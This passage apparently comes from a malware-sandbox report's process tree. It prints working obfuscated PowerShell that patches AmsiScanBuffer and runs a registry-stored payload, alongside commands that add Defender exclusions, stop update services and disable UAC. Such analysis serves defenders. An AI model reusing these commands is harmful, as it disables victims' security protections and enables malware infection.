$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+'t'+[Char](101)+'m.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'ho'+[Char](100)+''+[Char](115)+'');$hviVKlQzaBwXPk=$UdIcQiSYWhacu.GetMethod('Ge'+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+'t'+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CCQYPrLBDcLbaekPEZF=RDcoPnCAMuoH @([String])([IntPtr]);$VBnyjDBeGkytevFckZCAlW=RDcoPnCAMuoH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gkIoHYeiYOK=$UdIcQiSYWhacu.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'M'+'o'+[Char](100)+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$KhugrEhpGXiEgn=$hviVKlQzaBwXPk.Invoke($Null,@([Object]$gkIoHYeiYOK,[Object]('L'+'o'+''+'a'+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+'A')));$iPYoWQHTCpmEvHJbo=$hviVKlQzaBwXPk.Invoke($Null,@([Object]$gkIoHYeiYOK,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+'a'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'ct')));$XwZGkrD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KhugrEhpGXiEgn,$CCQYPrLBDcLbaekPEZF).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+'l');$cTDynpZNqzZVvZDMg=$hviVKlQzaBwXPk.Invoke($Null,@([Object]$XwZGkrD,[Object]('Am'+'s'+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$QlOlJfvPFB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iPYoWQHTCpmEvHJbo,$VBnyjDBeGkytevFckZCAlW).Invoke($cTDynpZNqzZVvZDMg,[uint32]8,4,[ref]$QlOlJfvPFB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cTDynpZNqzZVvZDMg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iPYoWQHTCpmEvHJbo,$VBnyjDBeGkytevFckZCAlW).Invoke($cTDynpZNqzZVvZDMg,[uint32]8,0x20,[ref]$QlOlJfvPFB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+'l'+'e'+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bxngCpSbjBen{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iPuCQXYQVBFlPP,[Parameter(Position=1)][Type]$dnqLTalnHt)$sxQzRxYCLiH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+',A'+'n'+''+'s'+'i'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+'ut'+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$sxQzRxYCLiH.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+'p'+'e'+'c'+''+[Char](105)+'al'+'N'+''+'a'+''+[Char](109)+'e'+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+'S'+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iPuCQXYQVBFlPP).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$sxQzRxYCLiH.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'BySi'+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+[Char](97)+'l',$dnqLTalnHt,$iPuCQXYQVBFlPP).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sxQzRxYCLiH.CreateType();}$zIaYmNyMxbzjq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'ft.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+'e'+[Char](78)+''+'a'+''+[Char](116)+''+'i'+'v'+'e'+'M'+'e'+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$QLudeahqWRtoRU=$zIaYmNyMxbzjq.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+[Char](114)+''+'o'+''+[Char](99)+''+'A'+'d'+[Char](100)+'r'+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'at'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pfVoWVTzyCrCHPyTqTg=bxngCpSbjBen @([String])([IntPtr]);$LIaanzEXfvKneUWlPemYVm=bxngCpSbjBen @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LlIZBixmzEW=$zIaYmNyMxbzjq.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+'a'+'nd'+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('kerne'+'l'+'3'+[Char](50)+''+[Char](46)+''+'d'+''+'l'+'l')));$BHSlUyaKxSwplT=$QLudeahqWRtoRU.Invoke($Null,@([Object]$LlIZBixmzEW,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+'r'+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$YLRHFUujWGtfPqFDq=$QLudeahqWRtoRU.Invoke($Null,@([Object]$LlIZBixmzEW,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+'l'+'Pr'+[Char](111)+''+[Char](116)+'ec'+'t'+'')));$sgDtlFT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BHSlUyaKxSwplT,$pfVoWVTzyCrCHPyTqTg).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$lDPbKSACnhSmyOYZt=$QLudeahqWRtoRU.Invoke($Null,@([Object]$sgDtlFT,[Object](''+'A'+''+[Char](109)+''+'s'+''+'i'+''+'S'+'c'+[Char](97)+'n'+'B'+''+[Char](117)+''+'f'+'fer')));$FqXkaCXjAz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YLRHFUujWGtfPqFDq,$LIaanzEXfvKneUWlPemYVm).Invoke($lDPbKSACnhSmyOYZt,[uint32]8,4,[ref]$FqXkaCXjAz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$lDPbKSACnhSmyOYZt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YLRHFUujWGtfPqFDq,$LIaanzEXfvKneUWlPemYVm).Invoke($lDPbKSACnhSmyOYZt,[uint32]8,0x20,[ref]$FqXkaCXjAz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+[Char](101)+'rs'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uwCUEeGFujeE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TFEUJdHREkbKbI,[Parameter(Position=1)][Type]$MONYNJrBIa)$GqzhsGpoGIN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+'c'+[Char](116)+''+'e'+''+'d'+''+'D'+'el'+'e'+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+'e'+'m'+[Char](111)+'r'+'y'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cla'+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+','+[Char](83)+''+'e'+''+[Char](97)+'l'+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+''+'n'+'si'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$GqzhsGpoGIN.DefineConstructor(''+[Char](82)+''+'T'+'Sp'+[Char](101)+'c'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TFEUJdHREkbKbI).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$GqzhsGpoGIN.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+'d'+''+[Char](101)+'By'+'S'+''+'i'+''+[Char](103)+''+[Char](44)+'N'+'e'+''+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+''+','+''+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+'a'+'l'+'',$MONYNJrBIa,$TFEUJdHREkbKbI).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+'a'+[Char](110)+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $GqzhsGpoGIN.CreateType();}$AZcvHwuQHsqQJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+'Na'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+'ods');$kXUuFmAtzTeLfo=$AZcvHwuQHsqQJ.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+','+[Char](83)+''+'t'+'at'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UfxRzSgmKEXkenZQxKQ=uwCUEeGFujeE @([String])([IntPtr]);$vFAeuSwKcndRFsECJhzhsD=uwCUEeGFujeE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SPxNbRbjHre=$AZcvHwuQHsqQJ.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+''+'d'+''+'l'+'e').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+'l'+'l'+'')));$tthbdlLjaKpHnV=$kXUuFmAtzTeLfo.Invoke($Null,@([Object]$SPxNbRbjHre,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+'r'+'a'+'r'+'y'+''+[Char](65)+'')));$GsEbuDgVTzNQUbQVb=$kXUuFmAtzTeLfo.Invoke($Null,@([Object]$SPxNbRbjHre,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$GiJAJAC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tthbdlLjaKpHnV,$UfxRzSgmKEXkenZQxKQ).Invoke(''+'a'+''+[Char](109)+'si'+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$bhryvZwGfQjykIrVN=$kXUuFmAtzTeLfo.Invoke($Null,@([Object]$GiJAJAC,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'nB'+'u'+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$tEwOyMRmZy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GsEbuDgVTzNQUbQVb,$vFAeuSwKcndRFsECJhzhsD).Invoke($bhryvZwGfQjykIrVN,[uint32]8,4,[ref]$tEwOyMRmZy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bhryvZwGfQjykIrVN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GsEbuDgVTzNQUbQVb,$vFAeuSwKcndRFsECJhzhsD).Invoke($bhryvZwGfQjykIrVN,[uint32]8,0x20,[ref]$tEwOyMRmZy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'FT'+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+[Char](101)+''+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\ProgramData\GoogleDat\GoogleUpdate.exe"C:\ProgramData\GoogleDat\GoogleUpdate.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"2⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"3⤵
-
-
-
C:\ProgramData\CentraStage\Temp\0a6cf938-bbee-49d5-ba83-58c64697be4d\AEMAgent.exe"C:\ProgramData\CentraStage\Temp\0a6cf938-bbee-49d5-ba83-58c64697be4d\AEMAgent.exe" --version2⤵
-
-
C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe"C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe"2⤵
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall delete rule name="AEMAgent"3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name="AEMAgent" dir=in action=allow program="C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe" enable=yes3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name="AEMAgent" dir=out action=allow program="C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe" enable=yes3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall show rule name=all3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall show rule name=all3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall delete rule name="Aria"3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall delete rule name="RMM.WebRemote"3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall firewall delete rule name="RMM.WebRemote 14.9.1.10912"3⤵
- Modifies Windows Firewall
-
-
-
C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe"C:\ProgramData\CentraStage\AEMAgent\AEMAgent.exe" --version2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BVZqXRpXnJBP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MRbmcnTFcvquAD,[Parameter(Position=1)][Type]$GcGvjpZosT)$VoPYAEjiZNq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+'las'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+',S'+[Char](101)+'a'+'l'+'e'+'d'+''+','+''+[Char](65)+'n'+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+''+[Char](116)+'oC'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$VoPYAEjiZNq.DefineConstructor('R'+'T'+'S'+[Char](112)+'e'+[Char](99)+'ial'+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$MRbmcnTFcvquAD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'na'+[Char](103)+'ed');$VoPYAEjiZNq.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+''+'i'+'c'+','+'Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'NewS'+[Char](108)+'o'+'t'+''+[Char](44)+'V'+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l',$GcGvjpZosT,$MRbmcnTFcvquAD).SetImplementationFlags('R'+'u'+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');Write-Output $VoPYAEjiZNq.CreateType();}$mFyqrOHpFZcJb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 